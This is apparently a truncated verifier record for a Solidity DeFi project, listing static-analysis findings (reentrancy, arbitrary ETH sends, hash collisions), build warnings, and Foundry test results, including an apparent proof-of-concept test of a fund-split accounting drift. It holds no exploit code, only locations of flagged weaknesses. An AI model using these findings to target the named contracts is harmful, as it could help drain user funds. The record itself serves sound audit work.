(src/IMD6900LockedPool.sol#395-405) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/IMD6900RobinhoodLaunch.sol:460: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476) sends eth to arbitrary user\n[high/high] encode-packed-collision at src/IMD6900LockedPool.sol:222: IMD6900LockedPool.createPerps(bytes,bytes) (src/IMD6900LockedPool.sol#222-247) calls abi.encodePacked() with multiple dynamic arguments:\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:712: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:406: Reentrancy in PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#406-429):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:520: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#520-606):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:712: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:520: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#520-606):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:712: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787):\n[high/medium] reentrancy-eth at src/perps/PerpVault.sol:253: Reentrancy in PerpVault.depositEth() (src/perps/PerpVault.sol#253-281):\n[high/medium] reentrancy-eth at src/IMD6900RobinhoodLaunch.sol:460: Reentrancy in IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476):\n[medium/medium] divide-before-multiply at src/perps/PerpEngine.sol:712: PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#712-787) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:460: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:365: IMD6900RobinhoodLaunch.recoverEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#365-372) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpSwapLib.sol:249: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32) (src/perps/PerpSwapLib.sol#249-310) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:362: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#362-375) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:917: PerpEngine._routeFee(uint256,bool) (src/perps/PerpEngine.sol#917-935) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:275: IMD6900RobinhoodLaunch.withdrawEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#275-281) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:939: PerpEngine._payOut(address,uint256) (src/perps/PerpEngine.sol#939-946) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:460: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#460-476) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:362: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#362-375) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:289: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#289-319) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:187: Reentrancy in IMD6900RobinhoodLaunch.createHook(bytes32) (src/IMD6900RobinhoodLaunch.sol#187-202):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:299: Reentrancy in PerpVault.withdrawEth(uint256) (src/perps/PerpVault.sol#299-319):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:486: Reentrancy in PerpVault.claimPendingEth() (src/perps/PerpVault.sol#486-506):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:403: Reentrancy in IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address) (src/IMD6900RobinhoodLaunch.sol#403-413):\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:531: PerpEngine._doSweep(address,bool,int256,bool,uint160).pendingIds (src/perps/PerpEngine.sol#531) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:540: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundQuote (src/perps/PerpSwapLib.sol#540) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:541: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundTok (src/perps/PerpSwapLib.sol#541) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:163: PerpSwapLib.projectedSqrtPriceX96(uint160,uint256,uint256,int256,bool,uint160).amountIn (src/perps/PerpSwapLib.sol#163) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:284: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32).lo (src/perps/PerpSwapLib.sol#284) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:352: IMD6900RobinhoodLaunch.setPayees(address[],uint16[]).sum (src/IMD6900RobinhoodLaunch.sol#352) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:571: PerpEngine._doSweep(address,bool,int256,bool,uint160).condemnedRemains (src/perps/PerpEngine.sol#571) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:570: PerpEngine._doSweep(address,bool,int256,bool,uint160).killedAny (src/perps/PerpEngine.sol#570) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:519: IMD6900RobinhoodLaunch.unlockCallback(bytes).sold (src/IMD6900RobinhoodLaunch.sol#519) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:919: PerpEngine._routeFee(uint256,bool).toVault (src/perps/PerpEngine.sol#919) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:518: IMD6900RobinhoodLaunch.unlockCallback(bytes).ethOut (src/IMD6900RobinhoodLaunch.sol#518) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:920: PerpEngine._routeFee(uint256,bool).toIns (src/perps/PerpEngine.sol#920) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpVault.sol:816: PerpVault.pendingTokYield(address).earned (src/perps/PerpVault.sol#816) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:536: PerpEngine._doSweep(address,bool,int256,bool,uint160).scanned (src/perps/PerpEngine.sol#536) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:568: PerpEngine._doSweep(address,bool,int256,bool,uint160).clean (src/perps/PerpEngine.sol#568) is a local variable never initialized\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:510: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#510-543) ignores return value by (None,back) = pool.feeRefund(address(this)) (src/IMD6900RobinhoodLaunch.sol#523)\n[medium/medium] unused-return at src/perps/PerpEngine.sol:314: PerpEngine._slot0() (src/perps/PerpEngine.sol#314) ignores return value by (s,t,None,None) = poolManager.getSlot0(poolId) (src/perps/PerpEngine.sol#314)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:570: PerpSwapLib._grossUp(IPoolManager,PoolKey,bool,uint256) (src/perps/PerpSwapLib.sol#570-580) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,PoolIdLibrary.toId(key)) (src/perps/PerpSwapLib.sol#575)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:510: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#510-543) ignores return value by poolManager.settle{value: ethIn}() (src/IMD6900RobinhoodLaunch.sol#540)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:289: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#289-319) ignores return value by pool.open(t,sqrtPriceX96,SUPPLY) (src/IMD6900RobinhoodLaunch.sol#304)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:151: IMD6900LockedPool.open(address,uint160,uint256) (src/IMD6900LockedPool.sol#151-172) ignores return value by poolManager.initialize(poolKey(),start) (src/IMD6900LockedPool.sol#163)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:314: IMD6900LockedPool.state() (src/IMD6900LockedPool.sol#314-318) ignores return value by (sqrtPriceX96,tick,None,None) = poolManager.getSlot0(id) (src/IMD6900LockedPool.sol#316)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:501: IMD6900RobinhoodLaunch.harvest() (src/IMD6900RobinhoodLaunch.sol#501-504) ignores return value by pool.collect() (src/IMD6900RobinhoodLaunch.sol#502)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:210: IMD6900LockedPool.collect() (src/IMD6900LockedPool.sol#210-214) ignores return value by poolManager.unlock(abi.encode(COLLECT,uint128(0))) (src/IMD6900LockedPool.sol#212)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:362: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#362-373) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900LockedPool.sol#364)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:179: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#179-198) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900LockedPool.sol#193)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:362: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#362-373) ignores return value by poolManager.settle() (src/IMD6900LockedPool.sol#369)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:376: IMD6900LockedPool._liquidityFor(uint256,uint256) (src/IMD6900LockedPool.sol#376-391) ignores return value by (p,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900LockedPool.sol#377)\n[medium/medium] unused-return at src/IMD6900Hook.sol:106: IMD6900Hook.perpFeeBps() (src/IMD6900Hook.sol#106-112) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,poolId) (src/IMD6900Hook.sol#108)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:179: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#179-198) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(old.toId()) (src/IMD6900LockedPool.sol#190)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:510: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#510-543) ignores return value by poolManager.settle() (src/IMD6900RobinhoodLaunch.sol#528)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle{value: amount}() (src/perps/PerpSwapLib.sol#598)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle() (src/perps/PerpSwapLib.sol#608)\n[low/medium] events-maths at src/perps/PerpEngine.sol:1078: PerpEngine.setShortCap(uint256) (src/perps/PerpEngine.sol#1078-1081) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1105: PerpEngine.setVaultLimits(uint256,uint256) (src/perps/PerpEngine.sol#1105-1108) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1088: PerpEngine.setVaultSplit(uint256,uint256) (src/perps/PerpEngine.sol#1088-1091) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1116: PerpEngine.skimInsurance(uint256,address) (src/perps/PerpEngine.sol#1116-1121) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1061: PerpEngine.setFees(uint256,uint256,uint256) (src/perps/PerpEngine.sol#1061-1064) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1094: PerpEngine.setGuards(uint32,uint256,uint256) (src/perps/PerpEngine.sol#1094-1097) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1067: PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256) (src/perps/PerpEngine.sol#1067-1075) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:406: PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#406-429) should emit an event for: \n[low/medium] missing-zero-check at src/perps/PerpVault.sol:198: PerpVault.constructor(address)._engine (src/perps/PerpVault.sol#198) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:201: IMD6900LockedPool.setCoinFeeTo(address).to (src/IMD6900LockedPool.sol#201) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:124: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).timelock_ (src/IMD6900LockedPool.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1083: PerpEngine.setFeeSink(address)._feeSink (src/perps/PerpEngine.sol#1083) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:79: IMD6900Hook.constructor(IPoolManager,address,address).pool_ (src/IMD6900Hook.sol#79) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1100: PerpEngine.setVault(address)._vault (src/perps/PerpEngine.sol#1100) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:432: IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address).hooks (src/IMD6900RobinhoodLaunch.sol#432) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:132: IMD6900Hook.initPerpEngine(address).engine (src/IMD6900Hook.sol#132) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:124: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).launcher_ (src/IMD6900LockedPool.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:151: IMD6900LockedPool.open(address,uint160,uint256).token_ (src/IMD6900LockedPool.sol#151) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:173: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).timelock_ (src/IMD6900RobinhoodLaunch.sol#173) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:124: IMD6900Hook.setPerpEngine(address).engine (src/IMD6900Hook.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:173: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).imdstr_ (src/IMD6900RobinhoodLaunch.sol#173) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:266: PerpEngine.constructor(IPoolManager,address,address,uint24,int24,address,address)._feeSink (src/perps/PerpEngine.sol#266) lacks a zero-ch","passed":false}],"detail":"static analysis found encode-packed-collision at src/IMD6900LockedPool.sol:222: IMD6900LockedPool.createPerps(bytes,bytes) (src/IMD6900LockedPool.sol#222-247) calls abi.encodePacked() with multiple dynamic arguments:","evaluation":"checks","profile":"foundry","status":"rejected","submissionHash":"416bffa0238edf6abc543b05998c8177f96fd500dc4f16044725cc3b39e361b7","verifiedTreeHash":"30a77f65bd7e96639f72d0c0d1cd53f535b948aa","verifierVersion":"0.1.0+327e1e9f"},{"checks":[{"durationMs":35014,"exitCode":0,"name":"build","output":"Compiling 95 files with Solc 0.8.26\nSolc 0.8.26 finished in 34.92s\nCompiler run successful with warnings:\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/imd-proof-x/Proof_f904829ff7fb.t.sol:93:49:\n   |\n93 |     function _mineHook() internal view returns (bytes32) {\n   |                                                 ^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n   --> test/imd-proof-x/Proof_f904829ff7fb.t.sol:103:49:\n    |\n103 |     function _mineCoin() internal view returns (bytes32) {\n    |                                                 ^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:391:5:\n    |\n391 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":281,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[PASS] test_TheWholeLaunchOnRobinhood() (gas: 2548)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 247.45µs (23.88µs CPU time)\n\nRan 1 test for test/FactoryDeployment.t.sol:FactoryDeploymentTest\n[PASS] test_FactoryConstructorWithExactArgumentsAndNoDependencies() (gas: 25433884)\nLogs:\n  factory CREATE2 gas: 8234404\n  factory CREATE2 gas: 8211818\n  factory CREATE2 gas: 8211862\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.70ms (1.58ms CPU time)\n\nRan 2 tests for test/Twap.t.sol:TwapTest\n[PASS] testFuzz_TwapSearchMatchesLinearReference(uint8,uint8,uint16) (runs: 256, μ: 346657, ~: 271253)\nLogs:\n  Bound result 14\n  Bound result 381\n\n[PASS] test_TwapNeedsAtLeastOneSecondOfHistory() (gas: 54172)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.23ms (5.12ms CPU time)\n\nRan 1 test for test/imd-proof-x/Proof_f904829ff7fb.t.sol:SplitDriftTest\n[PASS] test_FailedPotShareMigratesIntoTheImdBucket() (gas: 2118488)\nLogs:\n  pot's share still reserved for it: 9.000000000000000000\n  imdBucket (spent by burnImd on $IMD): 1.000000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 72.83ms (456.61µs CPU time)\n\nRan 55 tests for test/IMD6900RobinhoodLaunch.t.sol:IMD6900RobinhoodLaunchTest\n[PASS] test_APartialBurnFillKeepsTheRest() (gas: 3728712)\n[PASS] test_ARefusedShareIsKeptForItsPayee() (gas: 2437932)\n[PASS] test_BurnCapCannotBeMulticalled() (gas: 4677207)\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 3042559)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1289175)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1491325)\n[PASS] test_ClaimsNeverPassTheReserve() (gas: 1583395)\n[PASS] test_ClaimsOneForOne() (gas: 1614259)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208923)\n[PASS] test_DeploysOnAFreshChain() (gas: 6540272)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4478487)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2371624)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1330423)\n[PASS] test_FitsOneTransaction() (gas: 12727575)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 8223071\n  createHook gas: 1266652\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1874224)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1460831)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1338812)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1330097)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2232985)\n[PASS] test_NoClaimsAllOfItBack() (gas: 2002542)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2112743)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 2130782)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 179147)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 2002946)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1330664)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 72698)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 92143)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117895)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1829757)\n[PASS] test_PassesTheAdmissionScan() (gas: 15854744)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1481743)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702722)\n[PASS] test_RefusesTheWrongAddress() (gas: 710191)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSale() (gas: 2844427)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSwap() (gas: 2626178)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSale() (gas: 2845273)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSwap() (gas: 2626618)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1305127)\n[PASS] test_TheBurnBuyRefusesAPushedPrice() (gas: 3111832)\n[PASS] test_TheBurnReferenceIsRetakenAfterADelay() (gas: 2899284)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1215474)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1832170)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1263592)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1327040)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2818841)\n[PASS] test_TheFeeIsStatic() (gas: 1613339)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5722596)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1375245)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21976)\n[PASS] test_TheLiquidityIsLocked() (gas: 2185522)\n[PASS] test_TheOwnerCannotRenounce() (gas: 39339)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2342994)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2235091)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1681644)\n[PASS] test_TradesBothWays() (gas: 1585570)\nSuite result: ok. 55 passed; 0 failed; 0 skipped; finished in 174.63ms (138.78ms CPU time)\n\nRan 16 tests for test/Perps.t.sol:PerpsTest\n[PASS] test_ALongRoundTripPaysNoPoolFee() (gas: 1069962)\nLogs:\n  a 0.1 ETH 5x long, opened and closed: back: 0.093099999999999968\n\n[PASS] test_AShortRoundTrip() (gas: 1856768)\nLogs:\n  a 0.1 ETH 3x short, opened and closed: back: 0.093099999999999998\n\n[PASS] test_AWhaleDumpLiquidatesInTheHooksSweepFirst() (gas: 1895646)\n[PASS] test_EthVaultQueueAndFeeSplitStayBacked() (gas: 1212849)\n[PASS] test_HealthyPositionBlocksFeeMoveAfterOneYear() (gas: 1480820)\n[PASS] test_NoFeeMoveWhileTheCreatedEngineHoldsPositions() (gas: 1460699)\n[PASS] test_NoFeeMoveWithAPositionOpen() (gas: 659488)\n[PASS] test_OnlyTheTimelockTunesThePerps() (gas: 120313)\n[PASS] test_PerpFeesReachThePot() (gas: 704521)\n[PASS] test_ReportedRangeEndDrainCannotExhaustLongBacking() (gas: 14360615)\nLogs:\n  real ETH remaining: 103843307849973044\n  virtual ETH depth: 19366225365553498597\n  long principal: 93100000000000000\n  open positions: 4\n\n[PASS] test_TheLargerSideByNotionalPaysFunding() (gas: 2329453)\n[PASS] test_ThePerpsAreCreatedAndWired() (gas: 145468)\n[PASS] test_ThePerpsCodeIsTheAuditedCode() (gas: 61439630)\n[PASS] test_ThePerpsPassTheAdmissionScan() (gas: 14699071)\n[PASS] test_TokenVaultQueueAndYieldStayBacked() (gas: 2373363)\n[PASS] test_UnwiringTheEngineKeepsItsPositionsClosable() (gas: 964704)\nSuite result: ok. 16 passed; 0 failed; 0 skipped; finished in 174.79ms (172.00ms CPU time)\n\nRan 6 test suites in 176.16ms (429.44ms CPU time): 76 tests passed, 0 failed, 0 skipped (76 total tests)\n","passed":true},{"durationMs":77,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900.approve(address,uint256)\",\"IMD6900.burn(uint256)\",\"IMD6900.permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\",\"IMD6900.transfer(address,uint256)\",\"IMD6900.transferFrom(address,address,uint256)\",\"IMD6900Hook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900Hook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900Hook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900Hook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900Hook.cancelOwnershipHandover()\",\"IMD6900Hook.completeOwnershipHandover(address)\",\"IMD6900Hook.initPerpEngine(address)\",\"IMD6900Hook.renounceOwnership()\",\"IMD6900Hook.requestOwnershipHandover()\",\"IMD6900Hook.setPerpEngine(address)\",\"IMD6900Hook.setPerpRefunded(bool)\",\"IMD6900Hook.setSweepFailOpen(bool)\",\"IMD6900Hook.transferOwnership(address)\",\"IMD6900LockedPool.collect()\",\"IMD6900LockedPool.createPerps(bytes,bytes)\",\"IMD6900LockedPool.feeCheckpoint()\",\"IMD6900LockedPool.feeRefund(address)\",\"IMD6900LockedPool.lowerFee(uint24)\",\"IMD6900LockedPool.open(address,uint160,uint256)\",\"IMD6900LockedPool.receive()\",\"IMD6900LockedPool.setCoinFeeTo(address)\",\"IMD6900LockedPool.setHook(address)\",\"IMD6900LockedPool.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.addFees()\",\"IMD6900RobinhoodLaunch.addPerpFees()\",\"IMD6900RobinhoodLaunch.burnImd(uint256)\",\"IMD6900RobinhoodLaunch.cancelOwnershipHandover()\",\"IMD6900RobinhoodLaunch.claim(uint256,uint256,bytes32[])\",\"IMD6900RobinhoodLaunch.completeOwnershipHandover(address)\",\"IMD6900RobinhoodLaunch.createHook(bytes32)\",\"IMD6900RobinhoodLaunch.endClaims()\",\"IMD6900RobinhoodLaunch.harvest()\",\"IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address)\",\"IMD6900RobinhoodLaunch.payOwed(address)\",\"IMD6900RobinhoodLaunch.receive()\",\"IMD6900RobinhoodLaunch.recoverEth(address,uint256)\",\"IMD6900RobinhoodLaunch.releaseExcess(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseImdstr(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseUnclaimed(address)\",\"IMD6900RobinhoodLaunch.renounceOwnership()\",\"IMD6900RobinhoodLaunch.requestOwnershipHandover()\",\"IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address)\",\"IMD6900RobinhoodLaunch.setClaims(bytes32,uint256,uint256)\",\"IMD6900RobinhoodLaunch.setImdBurn(address)\",\"IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address)\",\"IMD6900RobinhoodLaunch.setPayees(address[],uint16[])\",\"IMD6900RobinhoodLaunch.setPerpFeeTo(address)\",\"IMD6900RobinhoodLaunch.split()\",\"IMD6900RobinhoodLaunch.transferOwnership(address)\",\"IMD6900RobinhoodLaunch.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.withdrawEth(address,uint256)\",\"PerpEngine.claimPayout()\",\"PerpEngine.close(uint256,uint256)\",\"PerpEngine.flushFees()\",\"PerpEngine.fundFromVault()\",\"PerpEngine.fundInsurance()\",\"PerpEngine.fundPlv()\",\"PerpEngine.fundPlvToken(u